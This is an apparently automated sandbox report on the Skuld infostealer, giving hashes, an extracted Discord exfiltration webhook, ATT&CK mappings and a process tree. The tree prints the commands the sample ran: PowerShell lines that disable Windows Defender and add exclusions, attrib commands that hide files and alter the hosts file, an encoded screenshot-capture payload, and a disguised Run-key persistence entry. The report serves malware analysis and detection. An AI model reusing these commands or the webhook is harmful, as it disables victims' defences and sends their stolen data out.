skuld | b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17/10/2024, 02:51

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General

Target
skuld.exe
Size 9.8MB
Sample241017-dcgzpayeqe
SHA256 b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
MD5 cfe962e1730123425862d3ed1f87357e
SHA1 fdb545123e742f82fdfc6f60b9fb36b7f273e317
SHA512 f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4
SSDEEP 98304:ujoGgersz5XxkXX9jKNkeEkRJVEWpJBJZrZ6QmEHr:ujzrszc4NkeE+Jm85mEHr
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

skuld credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Extracted

Family

skuld

https://discord.com/api/webhooks/1296302322007146567/s26FESYbNgv6dHTRzvf3V4yWoNeWLchott0cNcCquKmuP8BVU-cT-pNPgpIqbVY4_0uW

Signatures

Skuld stealer
An info stealer written in Go lang.
stealer skuld

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3204	powershell.exe
4672	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	skuld.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	skuld.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	10	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c99140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b9992367f000000010000000c000000300a06082b060105050703097a000000010000000c000000300a06082b060105050703097e00000001000000080000000000042beb77d501030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 5c000000010000000400000000080000190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c7e00000001000000080000000000042beb77d5017a000000010000000c000000300a06082b060105050703097f000000010000000c000000300a06082b060105050703091d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b620000000100000020000000ebd41040e4bb3ec742c9e381d31ef2a41a48b6685c96e7cef3c1df6cd4331c990b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520031000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050508020206082b0601050507030606082b0601050507030706082b0601050507030906082b0601050507030106082b060105050703080f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d0400000001000000100000003e455215095192e1b75d379fb187298a200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	skuld.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	skuld.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
3204	powershell.exe
3204	powershell.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
4672	powershell.exe
4672	powershell.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
4460	powershell.exe
5064	skuld.exe
5064	skuld.exe
4460	powershell.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe
5064	skuld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5064	skuld.exe
Token: SeIncreaseQuotaPrivilege	1176	wmic.exe
Token: SeSecurityPrivilege	1176	wmic.exe
Token: SeTakeOwnershipPrivilege	1176	wmic.exe
Token: SeLoadDriverPrivilege	1176	wmic.exe
Token: SeSystemProfilePrivilege	1176	wmic.exe
Token: SeSystemtimePrivilege	1176	wmic.exe
Token: SeProfSingleProcessPrivilege	1176	wmic.exe
Token: SeIncBasePriorityPrivilege	1176	wmic.exe
Token: SeCreatePagefilePrivilege	1176	wmic.exe
Token: SeBackupPrivilege	1176	wmic.exe
Token: SeRestorePrivilege	1176	wmic.exe
Token: SeShutdownPrivilege	1176	wmic.exe
Token: SeDebugPrivilege	1176	wmic.exe
Token: SeSystemEnvironmentPrivilege	1176	wmic.exe
Token: SeRemoteShutdownPrivilege	1176	wmic.exe
Token: SeUndockPrivilege	1176	wmic.exe
Token: SeManageVolumePrivilege	1176	wmic.exe
Token: 33	1176	wmic.exe
Token: 34	1176	wmic.exe
Token: 35	1176	wmic.exe
Token: 36	1176	wmic.exe
Token: SeIncreaseQuotaPrivilege	1176	wmic.exe
Token: SeSecurityPrivilege	1176	wmic.exe
Token: SeTakeOwnershipPrivilege	1176	wmic.exe
Token: SeLoadDriverPrivilege	1176	wmic.exe
Token: SeSystemProfilePrivilege	1176	wmic.exe
Token: SeSystemtimePrivilege	1176	wmic.exe
Token: SeProfSingleProcessPrivilege	1176	wmic.exe
Token: SeIncBasePriorityPrivilege	1176	wmic.exe
Token: SeCreatePagefilePrivilege	1176	wmic.exe
Token: SeBackupPrivilege	1176	wmic.exe
Token: SeRestorePrivilege	1176	wmic.exe
Token: SeShutdownPrivilege	1176	wmic.exe
Token: SeDebugPrivilege	1176	wmic.exe
Token: SeSystemEnvironmentPrivilege	1176	wmic.exe
Token: SeRemoteShutdownPrivilege	1176	wmic.exe
Token: SeUndockPrivilege	1176	wmic.exe
Token: SeManageVolumePrivilege	1176	wmic.exe
Token: 33	1176	wmic.exe
Token: 34	1176	wmic.exe
Token: 35	1176	wmic.exe
Token: 36	1176	wmic.exe
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeIncreaseQuotaPrivilege	3348	wmic.exe
Token: SeSecurityPrivilege	3348	wmic.exe
Token: SeTakeOwnershipPrivilege	3348	wmic.exe
Token: SeLoadDriverPrivilege	3348	wmic.exe
Token: SeSystemProfilePrivilege	3348	wmic.exe
Token: SeSystemtimePrivilege	3348	wmic.exe
Token: SeProfSingleProcessPrivilege	3348	wmic.exe
Token: SeIncBasePriorityPrivilege	3348	wmic.exe
Token: SeCreatePagefilePrivilege	3348	wmic.exe
Token: SeBackupPrivilege	3348	wmic.exe
Token: SeRestorePrivilege	3348	wmic.exe
Token: SeShutdownPrivilege	3348	wmic.exe
Token: SeDebugPrivilege	3348	wmic.exe
Token: SeSystemEnvironmentPrivilege	3348	wmic.exe
Token: SeRemoteShutdownPrivilege	3348	wmic.exe
Token: SeUndockPrivilege	3348	wmic.exe
Token: SeManageVolumePrivilege	3348	wmic.exe
Token: 33	3348	wmic.exe
Token: 34	3348	wmic.exe
Token: 35	3348	wmic.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 5064 wrote to memory of 5088	5064	skuld.exe	85
PID 5064 wrote to memory of 5088	5064	skuld.exe	85
PID 5064 wrote to memory of 1176	5064	skuld.exe	87
PID 5064 wrote to memory of 1176	5064	skuld.exe	87
PID 5064 wrote to memory of 3204	5064	skuld.exe	89
PID 5064 wrote to memory of 3204	5064	skuld.exe	89
PID 5064 wrote to memory of 2752	5064	skuld.exe	92
PID 5064 wrote to memory of 2752	5064	skuld.exe	92
PID 5064 wrote to memory of 3348	5064	skuld.exe	94
PID 5064 wrote to memory of 3348	5064	skuld.exe	94
PID 5064 wrote to memory of 4672	5064	skuld.exe	96
PID 5064 wrote to memory of 4672	5064	skuld.exe	96
PID 5064 wrote to memory of 4460	5064	skuld.exe	98
PID 5064 wrote to memory of 4460	5064	skuld.exe	98
PID 5064 wrote to memory of 5028	5064	skuld.exe	100
PID 5064 wrote to memory of 5028	5064	skuld.exe	100
PID 5064 wrote to memory of 3132	5064	skuld.exe	102
PID 5064 wrote to memory of 3132	5064	skuld.exe	102
PID 4460 wrote to memory of 840	4460	powershell.exe	104
PID 4460 wrote to memory of 840	4460	powershell.exe	104
PID 840 wrote to memory of 2940	840	csc.exe	105
PID 840 wrote to memory of 2940	840	csc.exe	105

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5088	attrib.exe
2752	attrib.exe
5028	attrib.exe
3132	attrib.exe

C:\Users\Admin\AppData\Local\Temp\skuld.exe
"C:\Users\Admin\AppData\Local\Temp\skuld.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5064
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Views/modifies file attributes
  PID:5088
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:2752
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:840
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES96F0.tmp" "c:\Users\Admin\AppData\Local\Temp\dwg13p4f\CSC95D52C758ED3465FA4EC26E68A16A22.TMP"
      4⤵
      PID:2940
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:5028
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:3132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61
MD5 9c740b7699e2363ac4ecdf496520ca35
SHA1 aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9
SHA512 8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af
MD5 SHA1 SHA512

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Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\2jIwm7HKSI\Display (1).png
Size 415KB
SHA256 df4dfd26c65dceafe5a162721fa2a482fa0a94287ee0f0f48a148cc926e6e19a
MD5 03a0a157b4f8facb342acbe5e36a1443
SHA1 ec4bfd14f5c9950206ff8cf78c51e277c4e69acb
SHA512 4b28d0bafebaa1b4975c3eb76acd66d45c32da5173e866c73ea71b988f674b202976e1d40b144bf008e8d6af75816eace405c03ba6082e9357dd182dcb1f8c4c
SSDEEP 12288:tqL2ZrGPGS9/I9kUP+zoVjoFaXma4r4uo+vIBVyT:t2L/ImWoFTa4bo+vIu
MD5 SHA1 SHA512 SSDEEP

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RES96F0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES96F0.tmp
Size 1KB
SHA256 7661c7153db44c6ed05440266151288a2a8e53b1df8a76835531f3dc674ef0c5
MD5 f2992d9d6a77c68fef61035466b50246
SHA1 3fe8edd324cbc83f2df6f7086ace05275f39ca54
SHA512 79fb421e32efadcc27639abf6160d9b791318b2edbf66e0f988d5d1831db4cf80cd9a63e0fe4a6ce94fefceb1b1d0d99bb78763126a8ffb517c8cff0aa9817b1
MD5 SHA1 SHA512

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__PSScriptPolicyTest_detjtb5b.cyc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_detjtb5b.cyc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
